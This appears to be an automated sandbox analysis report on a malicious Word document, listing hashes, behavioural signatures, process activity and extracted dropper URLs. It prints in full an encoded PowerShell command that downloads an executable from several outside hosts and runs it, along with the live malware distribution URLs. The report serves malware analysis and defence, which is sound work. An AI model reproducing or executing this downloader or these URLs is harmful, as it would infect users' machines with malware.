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Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    04/06/2024, 11:10

General

  • Target

    949cfeccd390a826df383a535889c10f_JaffaCakes118.doc

  • Size

    170KB

  • MD5

    949cfeccd390a826df383a535889c10f

  • SHA1

    ad3a6780a0fce6eceb9581ba329e839a52c66908

  • SHA256

    dab27520c5577f059d11bd78d22f8d5cf492cdc0150781ba9b28b5fbacc5c185

  • SHA512

    da3e7b655a6b9d59d5c93982d3ce180ca765d1ae9f41fafbb7031b207d51cace0ba13a0bc68e56eb77fe9ff56e07bdea58a00269b3ce6e6d057bf6bd1014c2d5

  • SSDEEP

    1536:sB445TEgrO3jSWAg83tle1ZZ0293QM0eetR2cOupLB5UZ5Z+a9dWvrCv3Pt6DwV:s22TWTogk079THcpOu5UZCvw3Pt6DwV

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://ckinterbiz.com/backup/waI0rNy/

exe.dropper

http://creationskateboards.com/shred/xnYp2/

exe.dropper

http://bnmintl.com/cgi-bin/hQuB2/

exe.dropper

http://buildingrobots.net/cgi-bin/LKgv/

exe.dropper

http://booksearch.com/index_files/U/

exe.dropper

http://davehale.ca/cgi-bin/v4kax/

exe.dropper

https://www.equiposjj.com/cgi-bin/h0MId/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\949cfeccd390a826df383a535889c10f_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2216
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2756
    • C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
      POWeRsHeLL -ENCOD JABPAHEAaQBkADEAbgB1AD0AKAAoACcAQQA3AHgAJwArACcAdAAnACkAKwAoACcAYgBpACcAKwAnAG0AJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABlAG4AVgA6AFUAcwBFAHIAUAByAG8ARgBJAGwAZQBcAHoAdwBMADYATQBVAEkAXABvAFYAQwBkAEIAeABzAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAYwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABDAGAAVQByAGkAYABUAFkAcAByAE8AVABvAEMATwBsACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKwAnACwAJwApACsAJwAgACcAKwAnAHQAbAAnACsAJwBzACcAKwAnADEAJwArACgAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQASQAwADAAMgAwADUAbAAgAD0AIAAoACgAJwBBAGkAJwArACcAcAA0ACcAKQArACgAJwBjAGIAJwArACcANwBwACcAKQApADsAJABUADAANQBqAHYAawB6AD0AKAAnAEsAJwArACgAJwBnAHQAdgAnACsAJwBoAGcAJwApACsAJwB4ACcAKQA7ACQAWgB5ADQAcwBvAGwAeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADQAMwBMACcAKwAnAFoAdwBsACcAKQArACcANgBtACcAKwAoACcAdQBpADQAMwAnACsAJwBMACcAKwAnAE8AJwArACcAdgBjAGQAYgB4AHMAJwArACcANAAzACcAKQArACcATAAnACkALgAiAHIAZQBgAHAAbABgAEEAYwBlACIAKAAoAFsAYwBIAEEAcgBdADUAMgArAFsAYwBIAEEAcgBdADUAMQArAFsAYwBIAEEAcgBdADcANgApACwAJwBcACcAKQApACsAJABJADAAMAAyADAANQBsACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABFADUAcQA5AHoAXwBsAD0AKAAnAE4AJwArACgAJwBjACcAKwAnADUAaAAnACkAKwAoACcAMQAnACsAJwByAHQAJwApACkAOwAkAFgAcgB4AGgAMwB0ADcAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAGIAQwBsAEkAZQBOAHQAOwAkAEwAegBoADkAcwBhAF8APQAoACcAaAB0ACcAKwAoACcAdABwACcAKwAnADoAJwApACsAJwAvAC8AJwArACcAYwAnACsAKAAnAGsAaQAnACsAJwBuACcAKwAnAHQAZQByAGIAaQB6ACcAKQArACcALgBjACcAKwAoACcAbwAnACsAJwBtAC8AJwApACsAJwBiACcAKwAoACcAYQBjAGsAdQBwACcAKwAnAC8AJwArACcAdwAnACkAKwAnAGEASQAnACsAJwAwACcAKwAoACcAcgAnACsAJwBOAHkALwAnACkAKwAoACcAKgBoACcAKwAnAHQAJwApACsAJwB0AHAAJwArACgAJwA6AC8ALwBjAHIAZQAnACsAJwBhAHQAJwApACsAJwBpACcAKwAoACcAbwBuACcAKwAnAHMAJwApACsAKAAnAGsAYQAnACsAJwB0AGUAYgAnACkAKwAoACcAbwAnACsAJwBhAHIAZAAnACkAKwAnAHMAJwArACcALgBjACcAKwAoACcAbwBtACcAKwAnAC8AcwAnACkAKwAnAGgAJwArACcAcgAnACsAKAAnAGUAZAAvACcAKwAnAHgAbgBZACcAKQArACcAcAAnACsAKAAnADIALwAnACsAJwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACcAOgAvACcAKwAnAC8AYgAnACsAJwBuACcAKwAoACcAbQBpACcAKwAnAG4AJwApACsAKAAnAHQAbAAuAGMAJwArACcAbwAnACkAKwAnAG0ALwAnACsAKAAnAGMAZwAnACsAJwBpAC0AYgAnACkAKwAoACcAaQBuAC8AaAAnACsAJwBRACcAKQArACgAJwB1AEIAJwArACcAMgAvACcAKQArACcAKgAnACsAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwBiAHUAaQAnACsAJwBsAGQAaQAnACsAJwBuACcAKQArACgAJwBnACcAKwAnAHIAbwBiAG8AdAAnACsAJwBzAC4AbgAnACkAKwAoACcAZQAnACsAJwB0AC8AYwBnACcAKQArACgAJwBpACcAKwAnAC0AYgAnACkAKwAnAGkAJwArACgAJwBuAC8AJwArACcATABLACcAKQArACgAJwBnACcAKwAnAHYALwAqACcAKQArACgAJwBoAHQAJwArACcAdABwADoAJwApACsAJwAvAC8AJwArACgAJwBiAG8AbwAnACsAJwBrACcAKQArACgAJwBzAGUAJwArACcAYQAnACkAKwAoACcAcgBjACcAKwAnAGgALgBjACcAKwAnAG8AbQAnACsAJwAvAGkAbgBkAGUAJwArACcAeABfAGYAJwApACsAKAAnAGkAJwArACcAbABlAHMALwAnACkAKwAnAFUAJwArACgAJwAvACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACsAJwBkACcAKQArACgAJwBhAHYAZQAnACsAJwBoACcAKQArACcAYQBsACcAKwAoACcAZQAuACcAKwAnAGMAJwApACsAKAAnAGEALwBjAGcAaQAtACcAKwAnAGIAaQBuAC8AdgAnACsAJwA0ACcAKwAnAGsAYQB4AC8AJwArACcAKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcABzADoALwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AJwArACcAZQAnACkAKwAoACcAcQB1AGkAJwArACcAcABvAHMAJwArACcAagBqAC4AYwBvAG0AJwApACsAJwAvAGMAJwArACgAJwBnACcAKwAnAGkALQBiAGkAbgAvAGgAJwArACcAMABNACcAKQArACgAJwBJAGQAJwArACcALwAnACkAKQAuACIAcwBQAGwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABWAHoAMABvADIANwBwAD0AKAAnAFkAYwAnACsAKAAnAHgAYgA1ACcAKwAnADAANQAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEoAbABlAHAAcABvADcAIABpAG4AIAAkAEwAegBoADkAcwBhAF8AKQB7AHQAcgB5AHsAJABYAHIAeABoADMAdAA3AC4AIgBEAG8AYABXAG4AbABPAEEARABgAEYASQBgAGwARQAiACgAJABKAGwAZQBwAHAAbwA3ACwAIAAkAFoAeQA0AHMAbwBsAHkAKQA7ACQAVQAzADcAaABwAHIAMQA9ACgAJwBRACcAKwAnAHUAJwArACgAJwAyAHMAJwArACcAcQByADIAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAWgB5ADQAcwBvAGwAeQApAC4AIgBMAEUAbgBgAEcAVABIACIAIAAtAGcAZQAgADMAOQAwADgAOQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABaAHkANABzAG8AbAB5ACkAOwAkAFoAMwB0AGkAaQBrAGwAPQAoACcAVwAnACsAKAAnAF8AeAAnACsAJwBtAGsAcQB1ACcAKQApADsAYgByAGUAYQBrADsAJABVAHAAMAB2AGwAZgBtAD0AKAAoACcARQAnACsAJwAyAGgAZgA5ACcAKQArACcAZgByACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBvADYAZwBsADQAdQA9ACgAJwBPACcAKwAoACcANQAnACsAJwB2AHMAJwApACsAKAAnAGQAJwArACcAcABuACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2780

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      6740378be5b141f40cc040b6b924326f

      SHA1

      2de2f94c94fc9c638f19c061adb1d838406e4025

      SHA256

      1b4fb33512dc1322f9ea1ab8ca230c728f3f0dec2b468925ab08d4f4bca1f6a6

      SHA512

      d76ee12a37730e0dddeed3762ec65837cb73ebe8cc6800cec98c304230960c9f00cca49710903b8eeeadcd79b4ea00ab0d802cafbe5abeaead4449b2c8961491

    • memory/2216-12-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-25-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-6-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-7-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-11-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-8-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-10-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-16-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-21-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-27-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-20-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-19-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-18-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-17-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-15-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-13-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-14-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-0-0x000000002F4C1000-0x000000002F4C2000-memory.dmp

      Filesize

      4KB

    • memory/2216-2-0x00000000715BD000-0x00000000715C8000-memory.dmp

      Filesize

      44KB

    • memory/2216-9-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-22-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-32-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-31-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-30-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-29-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-28-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-26-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-24-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-23-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-33-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-68-0x00000000715BD000-0x00000000715C8000-memory.dmp

      Filesize

      44KB

    • memory/2216-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2216-49-0x00000000715BD000-0x00000000715C8000-memory.dmp

      Filesize

      44KB

    • memory/2216-50-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-51-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2216-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2780-39-0x000000001B690000-0x000000001B972000-memory.dmp

      Filesize

      2.9MB

    • memory/2780-40-0x00000000028E0000-0x00000000028E8000-memory.dmp

      Filesize

      32KB